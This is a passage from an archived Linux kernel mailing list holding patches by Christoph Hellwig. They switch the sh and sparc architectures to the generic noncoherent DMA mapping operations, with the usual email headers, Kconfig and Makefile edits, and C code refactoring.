 arch/sh/kernel/Makefile           | 4 ++--
 arch/sh/kernel/dma-nommu.c        | 4 ----
 4 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 7d521926041e..d0b095323d62 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -157,6 +157,7 @@ config SWAP_IO_SPACE
 	bool
 
 config DMA_COHERENT
+	select DMA_DIRECT_OPS
 	bool
 
 config DMA_NONCOHERENT
diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
index 149e71f95be7..1ebc6a4eb1c5 100644
--- a/arch/sh/include/asm/dma-mapping.h
+++ b/arch/sh/include/asm/dma-mapping.h
@@ -6,7 +6,11 @@ extern const struct dma_map_ops nommu_dma_ops;
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
+#ifdef CONFIG_DMA_NONCOHERENT
 	return &nommu_dma_ops;
+#else
+	return &dma_direct_ops;
+#endif
 }
 
 extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
diff --git a/arch/sh/kernel/Makefile b/arch/sh/kernel/Makefile
index dc80041f7363..cb5f1bfb52de 100644
--- a/arch/sh/kernel/Makefile
+++ b/arch/sh/kernel/Makefile
@@ -12,7 +12,7 @@ endif
 
 CFLAGS_REMOVE_return_address.o = -pg
 
-obj-y	:= debugtraps.o dma-nommu.o dumpstack.o 		\
+obj-y	:= debugtraps.o dumpstack.o 		\
 	   idle.o io.o irq.o irq_$(BITS).o kdebugfs.o			\
 	   machvec.o nmi_debug.o process.o				\
 	   process_$(BITS).o ptrace.o ptrace_$(BITS).o			\
@@ -45,7 +45,7 @@ obj-$(CONFIG_DUMP_CODE)		+= disassemble.o
 obj-$(CONFIG_HIBERNATION)	+= swsusp.o
 obj-$(CONFIG_DWARF_UNWINDER)	+= dwarf.o
 obj-$(CONFIG_PERF_EVENTS)	+= perf_event.o perf_callchain.o
-
+obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-nommu.o
 obj-$(CONFIG_HAVE_HW_BREAKPOINT)		+= hw_breakpoint.o
 
 ccflags-y := -Werror
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
index 79a9edafa5b0..d8689b1cb743 100644
--- a/arch/sh/kernel/dma-nommu.c
+++ b/arch/sh/kernel/dma-nommu.c
@@ -51,7 +51,6 @@ static int nommu_map_sg(struct device *dev, struct scatterlist *sg,
 	return nents;
 }
 
-#ifdef CONFIG_DMA_NONCOHERENT
 static void nommu_sync_single_for_device(struct device *dev, dma_addr_t addr,
 			      size_t size, enum dma_data_direction dir)
 {
@@ -67,16 +66,13 @@ static void nommu_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
 	for_each_sg(sg, s, nelems, i)
 		sh_sync_dma_for_device(sg_virt(s), s->length, dir);
 }
-#endif
 
 const struct dma_map_ops nommu_dma_ops = {
 	.alloc			= dma_generic_alloc_coherent,
 	.free			= dma_generic_free_coherent,
 	.map_page		= nommu_map_page,
 	.map_sg			= nommu_map_sg,
-#ifdef CONFIG_DMA_NONCOHERENT
 	.sync_single_for_device	= nommu_sync_single_for_device,
 	.sync_sg_for_device	= nommu_sync_sg_for_device,
-#endif
 };
 EXPORT_SYMBOL(nommu_dma_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 20/25] sh: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 14:04:25 +0200
Lines: 241
Approved: news@gmane.org
Message-ID: <20180522120430.28709-21-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990642 26620 195.159.176.226 (22 May 2018 12:04:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:04:02 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:03:56 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL61D-0006mu-IA
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:03:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752736AbeEVMGE (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:06:04 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:54928 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752714AbeEVMF6 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:05:58 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=yXMrMSMADs2ugy0i87GzGOrmqb418k7OuTNs6rg4Lc4=; b=GABf7Bjgzh2pNXa9ZRSAoVJFJ
        m8LIfppxczLjMd9I4+rso2/MBh4FyHuxijVmVnPQMDwgj2v57yKgSfySbpZ6WkD5ceKwOBPrsWffO
        Q2pE8r5LzFgdbiVop/CsfyG6az88pQwMMHcAdBTQ4Mw1Nt+FyuDcV3YcCeOh+X10OAZ/s+uZCkmiH
        +qIdAart2qw+KVo2bAXb/3zLjH7qzhdnADZdS8t1zYrW1EoU22zz5LLcmBTXDRNJmwrlLDQJLkolW
        mSWIWnUF29bfpn+SPl5KVl7+QzPRtxG14ir0enrnBmRTlmpu1gmCfGGL2Zl3M29T71vHm6rxpBWfe
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL631-0001Qy-F9; Tue, 22 May 2018 12:05:48 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773749 gmane.linux.kernel.iommu:24483 gmane.linux.kernel.cross-arch:44292 gmane.linux.ports.alpha:5072 gmane.linux.kernel.arc:3928 gmane.linux.ports.arm.kernel:652011 gmane.linux.ports.hexagon:1751 gmane.linux.ports.parisc:28645 gmane.linux.ports.sh.devel:57063 gmane.linux.ports.sparc:27900
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773749>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sh/Kconfig                   |  3 +-
 arch/sh/include/asm/Kbuild        |  1 +
 arch/sh/include/asm/dma-mapping.h | 26 -----------
 arch/sh/kernel/Makefile           |  2 +-
 arch/sh/kernel/dma-coherent.c     | 23 +++++----
 arch/sh/kernel/dma-nommu.c        | 78 -------------------------------
 6 files changed, 15 insertions(+), 118 deletions(-)
 delete mode 100644 arch/sh/include/asm/dma-mapping.h
 delete mode 100644 arch/sh/kernel/dma-nommu.c

diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index d0b095323d62..9809e0604af3 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -49,7 +49,6 @@ config SUPERH
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_FUTEX_CMPXCHG if FUTEX
 	select HAVE_NMI
-	select NEED_DMA_MAP_STATE
 	select NEED_SG_DMA_LENGTH
 
 	help
@@ -162,6 +161,8 @@ config DMA_COHERENT
 
 config DMA_NONCOHERENT
 	def_bool !DMA_COHERENT
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	select DMA_NONCOHERENT_OPS
 
 config PGTABLE_LEVELS
 	default 3 if X2TLB
diff --git a/arch/sh/include/asm/Kbuild b/arch/sh/include/asm/Kbuild
index 1efcce74997b..50f7e878ea1b 100644
--- a/arch/sh/include/asm/Kbuild
+++ b/arch/sh/include/asm/Kbuild
@@ -1,6 +1,7 @@
 generic-y += current.h
 generic-y += delay.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += irq_regs.h
diff --git a/arch/sh/include/asm/dma-mapping.h b/arch/sh/include/asm/dma-mapping.h
deleted file mode 100644
index 1ebc6a4eb1c5..000000000000
--- a/arch/sh/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,26 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef __ASM_SH_DMA_MAPPING_H
-#define __ASM_SH_DMA_MAPPING_H
-
-extern const struct dma_map_ops nommu_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-#ifdef CONFIG_DMA_NONCOHERENT
-	return &nommu_dma_ops;
-#else
-	return &dma_direct_ops;
-#endif
-}
-
-extern void *dma_generic_alloc_coherent(struct device *dev, size_t size,
-					dma_addr_t *dma_addr, gfp_t flag,
-					unsigned long attrs);
-extern void dma_generic_free_coherent(struct device *dev, size_t size,
-				      void *vaddr, dma_addr_t dma_handle,
-				      unsigned long attrs);
-
-void sh_sync_dma_for_device(void *vaddr, size_t size,
-	    enum dma_data_direction dir);
-
-#endif /* __ASM_SH_DMA_MAPPING_H */
diff --git a/arch/sh/kernel/Makefile b/arch/sh/kernel/Makefile
index d5ddb64bfffe..59673f8a3379 100644
--- a/arch/sh/kernel/Makefile
+++ b/arch/sh/kernel/Makefile
@@ -45,7 +45,7 @@ obj-$(CONFIG_DUMP_CODE)		+= disassemble.o
 obj-$(CONFIG_HIBERNATION)	+= swsusp.o
 obj-$(CONFIG_DWARF_UNWINDER)	+= dwarf.o
 obj-$(CONFIG_PERF_EVENTS)	+= perf_event.o perf_callchain.o
-obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-nommu.o dma-coherent.o
+obj-$(CONFIG_DMA_NONCOHERENT)	+= dma-coherent.o
 obj-$(CONFIG_HAVE_HW_BREAKPOINT)		+= hw_breakpoint.o
 
 ccflags-y := -Werror
diff --git a/arch/sh/kernel/dma-coherent.c b/arch/sh/kernel/dma-coherent.c
index 4f41e5cd5207..67b9c9e6e43a 100644
--- a/arch/sh/kernel/dma-coherent.c
+++ b/arch/sh/kernel/dma-coherent.c
@@ -7,14 +7,13 @@
  */
 #include <linux/mm.h>
 #include <linux/init.h>
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/module.h>
 #include <asm/cacheflush.h>
 #include <asm/addrspace.h>
 
-void *dma_generic_alloc_coherent(struct device *dev, size_t size,
-				 dma_addr_t *dma_handle, gfp_t gfp,
-				 unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret, *ret_nocache;
 	int order = get_order(size);
@@ -29,7 +28,8 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 	 * Pages from the page allocator may have data present in
 	 * cache. So flush the cache before using uncached memory.
 	 */
-	sh_sync_dma_for_device(ret, size, DMA_BIDIRECTIONAL);
+	arch_sync_dma_for_device(dev, virt_to_phys(ret), size,
+			DMA_BIDIRECTIONAL);
 
 	ret_nocache = (void __force *)ioremap_nocache(virt_to_phys(ret), size);
 	if (!ret_nocache) {
@@ -44,9 +44,8 @@ void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 	return ret_nocache;
 }
 
-void dma_generic_free_coherent(struct device *dev, size_t size,
-			       void *vaddr, dma_addr_t dma_handle,
-			       unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
+		dma_addr_t dma_handle, unsigned long attrs)
 {
 	int order = get_order(size);
 	unsigned long pfn = (dma_handle >> PAGE_SHIFT) + dev->dma_pfn_offset;
@@ -58,12 +57,12 @@ void dma_generic_free_coherent(struct device *dev, size_t size,
 	iounmap(vaddr);
 }
 
-void sh_sync_dma_for_device(void *vaddr, size_t size,
-		    enum dma_data_direction direction)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	void *addr = sh_cacheop_vaddr(vaddr);
+	void *addr = sh_cacheop_vaddr(phys_to_virt(paddr));
 
-	switch (direction) {
+	switch (dir) {
 	case DMA_FROM_DEVICE:		/* invalidate only */
 		__flush_invalidate_region(addr, size);
 		break;
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
deleted file mode 100644
index d8689b1cb743..000000000000
--- a/arch/sh/kernel/dma-nommu.c
+++ /dev/null
@@ -1,78 +0,0 @@
-/*
- * DMA mapping support for platforms lacking IOMMUs.
- *
- * Copyright (C) 2009  Paul Mundt
- *
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file "COPYING" in the main directory of this archive
- * for more details.
- */
-#include <linux/dma-mapping.h>
-#include <linux/io.h>
-#include <asm/cacheflush.h>
-
-static dma_addr_t nommu_map_page(struct device *dev, struct page *page,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction dir,
-				 unsigned long attrs)
-{
-	dma_addr_t addr = page_to_phys(page) + offset
-		- PFN_PHYS(dev->dma_pfn_offset);
-
-	WARN_ON(size == 0);
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		sh_sync_dma_for_device(page_address(page) + offset, size, dir);
-
-	return addr;
-}
-
-static int nommu_map_sg(struct device *dev, struct scatterlist *sg,
-			int nents, enum dma_data_direction dir,
-			unsigned long attrs)
-{
-	struct scatterlist *s;
-	int i;
-
-	WARN_ON(nents == 0 || sg[0].length == 0);
-
-	for_each_sg(sg, s, nents, i) {
-		dma_addr_t offset = PFN_PHYS(dev->dma_pfn_offset);
-
-		BUG_ON(!sg_page(s));
-
-		if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-			sh_sync_dma_for_device(sg_virt(s), s->length, dir);
-
-		s->dma_address = sg_phys(s) - offset;
-		s->dma_length = s->length;
-	}
-
-	return nents;
-}
-
-static void nommu_sync_single_for_device(struct device *dev, dma_addr_t addr,
-			      size_t size, enum dma_data_direction dir)
-{
-	sh_sync_dma_for_device(phys_to_virt(addr), size, dir);
-}
-
-static void nommu_sync_sg_for_device(struct device *dev, struct scatterlist *sg,
-			  int nelems, enum dma_data_direction dir)
-{
-	struct scatterlist *s;
-	int i;
-
-	for_each_sg(sg, s, nelems, i)
-		sh_sync_dma_for_device(sg_virt(s), s->length, dir);
-}
-
-const struct dma_map_ops nommu_dma_ops = {
-	.alloc			= dma_generic_alloc_coherent,
-	.free			= dma_generic_free_coherent,
-	.map_page		= nommu_map_page,
-	.map_sg			= nommu_map_sg,
-	.sync_single_for_device	= nommu_sync_single_for_device,
-	.sync_sg_for_device	= nommu_sync_sg_for_device,
-};
-EXPORT_SYMBOL(nommu_dma_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 22/25] sparc: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 14:04:27 +0200
Lines: 243
Approved: news@gmane.org
Message-ID: <20180522120430.28709-23-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1526990656 27736 195.159.176.226 (22 May 2018 12:04:16 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:04:16 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 22 14:04:10 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fL61R-00072l-Ay
	for glk-linux-kernel-4@m.gmane.org; Tue, 22 May 2018 14:04:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752790AbeEVMGR (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 22 May 2018 08:06:17 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:55440 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751361AbeEVMGJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 22 May 2018 08:06:09 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=E+ntzFfgx7YXA5epJcDsELMGSsFmVtfe/rYYmI+CxdA=; b=eXXJ7N8CSNpfBOBMZn/2a3YPs
        FP72GfvIBBn4EUpAdGsgf76RoiCV/aZv58IpQuaLZB5qoMaCKtow38eLD5q1olD+1HJ4/zO3CR29l
        q2bm5AREdW9kFKs999fMYXDQBehBEXFQkG6TtIjc3mInbAiHbIO2y7qdYmyE2E2/XgBHY84pLMR7T
        59VgxoZrCyCcEdRL9XC7CAIeqRbq02U2IMhqVlIm+lVc15wnGnl1QKSnilepWHN8/3u9/B/PI+fTR
        kNPYBeTeexEZ5Ll11+TWbt2C8JV/yNKXFzRimwOS+OBg6lcl0FfI3zdtnjLmRjqN+/tUIM+Yi21Qt
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fL638-0001UU-P3; Tue, 22 May 2018 12:05:55 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2773750 gmane.linux.kernel.iommu:24484 gmane.linux.kernel.cross-arch:44293 gmane.linux.ports.alpha:5073 gmane.linux.kernel.arc:3929 gmane.linux.ports.arm.kernel:652012 gmane.linux.ports.hexagon:1752 gmane.linux.ports.parisc:28646 gmane.linux.ports.sh.devel:57064 gmane.linux.ports.sparc:27901
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2773750>

Switch to the generic noncoherent direct mapping implementation.

This removes the previous sync_single_for_device implementation, which
looks bogus given that no syncing is happening in the similar but more
important map_single case.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/sparc/Kconfig                   |   2 +
 arch/sparc/include/asm/dma-mapping.h |   5 +-
 arch/sparc/kernel/ioport.c           | 151 ++-------------------------
 3 files changed, 14 insertions(+), 144 deletions(-)

diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 435dbc033afe..0889b4eabf8b 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -48,6 +48,8 @@ config SPARC
 
 config SPARC32
 	def_bool !64BIT
+	select ARCH_HAS_SYNC_DMA_FOR_CPU
+	select DMA_NONCOHERENT_OPS
 	select GENERIC_ATOMIC64
 	select CLZ_TAB
 	select HAVE_UID16
diff --git a/arch/sparc/include/asm/dma-mapping.h b/arch/sparc/include/asm/dma-mapping.h
index 12ae33daf52f..e17566376934 100644
--- a/arch/sparc/include/asm/dma-mapping.h
+++ b/arch/sparc/include/asm/dma-mapping.h
@@ -7,7 +7,6 @@
 #include <linux/dma-debug.h>
 
 extern const struct dma_map_ops *dma_ops;
-extern const struct dma_map_ops pci32_dma_ops;
 
 extern struct bus_type pci_bus_type;
 
@@ -15,11 +14,11 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
 #ifdef CONFIG_SPARC_LEON
 	if (sparc_cpu_model == sparc_leon)
-		return &pci32_dma_ops;
+		return &dma_noncoherent_ops;
 #endif
 #if defined(CONFIG_SPARC32) && defined(CONFIG_PCI)
 	if (bus == &pci_bus_type)
-		return &pci32_dma_ops;
+		return &dma_noncoherent_ops;
 #endif
 	return dma_ops;
 }
diff --git a/arch/sparc/kernel/ioport.c b/arch/sparc/kernel/ioport.c
index 3bcef9ce74df..7954512c42e7 100644
--- a/arch/sparc/kernel/ioport.c
+++ b/arch/sparc/kernel/ioport.c
@@ -38,6 +38,7 @@
 #include <linux/proc_fs.h>
 #include <linux/seq_file.h>
 #include <linux/scatterlist.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/of_device.h>
 
 #include <asm/io.h>
@@ -434,9 +435,8 @@ arch_initcall(sparc_register_ioport);
 /* Allocate and map kernel buffer using consistent mode DMA for a device.
  * hwdev should be valid struct pci_dev pointer for PCI devices.
  */
-static void *pci32_alloc_coherent(struct device *dev, size_t len,
-				  dma_addr_t *pba, gfp_t gfp,
-				  unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t len, dma_addr_t *pba, gfp_t gfp,
+		unsigned long attrs)
 {
 	unsigned long len_total = PAGE_ALIGN(len);
 	void *va;
@@ -488,8 +488,8 @@ static void *pci32_alloc_coherent(struct device *dev, size_t len,
  * References to the memory and mappings associated with cpu_addr/dma_addr
  * past this call are illegal.
  */
-static void pci32_free_coherent(struct device *dev, size_t n, void *p,
-				dma_addr_t ba, unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t n, void *p, dma_addr_t ba,
+		unsigned long attrs)
 {
 	struct resource *res;
 
@@ -519,146 +519,15 @@ static void pci32_free_coherent(struct device *dev, size_t n, void *p,
 	free_pages((unsigned long)phys_to_virt(ba), get_order(n));
 }
 
-/*
- * Same as pci_map_single, but with pages.
- */
-static dma_addr_t pci32_map_page(struct device *dev, struct page *page,
-				 unsigned long offset, size_t size,
-				 enum dma_data_direction dir,
-				 unsigned long attrs)
-{
-	/* IIep is write-through, not flushing. */
-	return page_to_phys(page) + offset;
-}
-
-static void pci32_unmap_page(struct device *dev, dma_addr_t ba, size_t size,
-			     enum dma_data_direction dir, unsigned long attrs)
-{
-	if (dir != PCI_DMA_TODEVICE && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		dma_make_coherent(ba, PAGE_ALIGN(size));
-}
-
-/* Map a set of buffers described by scatterlist in streaming
- * mode for DMA.  This is the scatter-gather version of the
- * above pci_map_single interface.  Here the scatter gather list
- * elements are each tagged with the appropriate dma address
- * and length.  They are obtained via sg_dma_{address,length}(SG).
- *
- * NOTE: An implementation may be able to use a smaller number of
- *       DMA address/length pairs than there are SG table elements.
- *       (for example via virtual mapping capabilities)
- *       The routine returns the number of addr/length pairs actually
- *       used, at most nents.
- *
- * Device ownership issues as mentioned above for pci_map_single are
- * the same here.
- */
-static int pci32_map_sg(struct device *device, struct scatterlist *sgl,
-			int nents, enum dma_data_direction dir,
-			unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int n;
-
-	/* IIep is write-through, not flushing. */
-	for_each_sg(sgl, sg, nents, n) {
-		sg->dma_address = sg_phys(sg);
-		sg->dma_length = sg->length;
-	}
-	return nents;
-}
-
-/* Unmap a set of streaming mode DMA translations.
- * Again, cpu read rules concerning calls here are the same as for
- * pci_unmap_single() above.
- */
-static void pci32_unmap_sg(struct device *dev, struct scatterlist *sgl,
-			   int nents, enum dma_data_direction dir,
-			   unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int n;
-
-	if (dir != PCI_DMA_TODEVICE && !(attrs & DMA_ATTR_SKIP_CPU_SYNC)) {
-		for_each_sg(sgl, sg, nents, n) {
-			dma_make_coherent(sg_phys(sg), PAGE_ALIGN(sg->length));
-		}
-	}
-}
+/* IIep is write-through, not flushing on cpu to device transfer. */
 
-/* Make physical memory consistent for a single
- * streaming mode DMA translation before or after a transfer.
- *
- * If you perform a pci_map_single() but wish to interrogate the
- * buffer using the cpu, yet do not wish to teardown the PCI dma
- * mapping, you must call this function before doing so.  At the
- * next point you give the PCI dma address back to the card, you
- * must first perform a pci_dma_sync_for_device, and then the
- * device again owns the buffer.
- */
-static void pci32_sync_single_for_cpu(struct device *dev, dma_addr_t ba,
-				      size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	if (dir != PCI_DMA_TODEVICE) {
-		dma_make_coherent(ba, PAGE_ALIGN(size));
-	}
-}
-
-static void pci32_sync_single_for_device(struct device *dev, dma_addr_t ba,
-					 size_t size, enum dma_data_direction dir)
-{
-	if (dir != PCI_DMA_TODEVICE) {
-		dma_make_coherent(ba, PAGE_ALIGN(size));
-	}
+	if (dir != PCI_DMA_TODEVICE)
+		dma_make_coherent(paddr, PAGE_ALIGN(size));
 }
 
-/* Make physical memory consistent for a set of streaming
- * mode DMA translations after a transfer.
- *
- * The same as pci_dma_sync_single_* but for a scatter-gather list,
- * same rules and usage.
- */
-static void pci32_sync_sg_for_cpu(struct device *dev, struct scatterlist *sgl,
-				  int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int n;
-
-	if (dir != PCI_DMA_TODEVICE) {
-		for_each_sg(sgl, sg, nents, n) {
-			dma_make_coherent(sg_phys(sg), PAGE_ALIGN(sg->length));
-		}
-	}
-}
-
-static void pci32_sync_sg_for_device(struct device *device, struct scatterlist *sgl,
-				     int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int n;
-
-	if (dir != PCI_DMA_TODEVICE) {
-		for_each_sg(sgl, sg, nents, n) {
-			dma_make_coherent(sg_phys(sg), PAGE_ALIGN(sg->length));
-		}
-	}
-}
-
-/* note: leon re-uses pci32_dma_ops */
-const struct dma_map_ops pci32_dma_ops = {
-	.alloc			= pci32_alloc_coherent,
-	.free			= pci32_free_coherent,
-	.map_page		= pci32_map_page,
-	.unmap_page		= pci32_unmap_page,
-	.map_sg			= pci32_map_sg,
-	.unmap_sg		= pci32_unmap_sg,
-	.sync_single_for_cpu	= pci32_sync_single_for_cpu,
-	.sync_single_for_device	= pci32_sync_single_for_device,
-	.sync_sg_for_cpu	= pci32_sync_sg_for_cpu,
-	.sync_sg_for_device	= pci32_sync_sg_for_device,
-};
-EXPORT_SYMBOL(pci32_dma_ops);
-
 const struct dma_map_ops *dma_ops = &sbus_dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
-- 
2.17.0



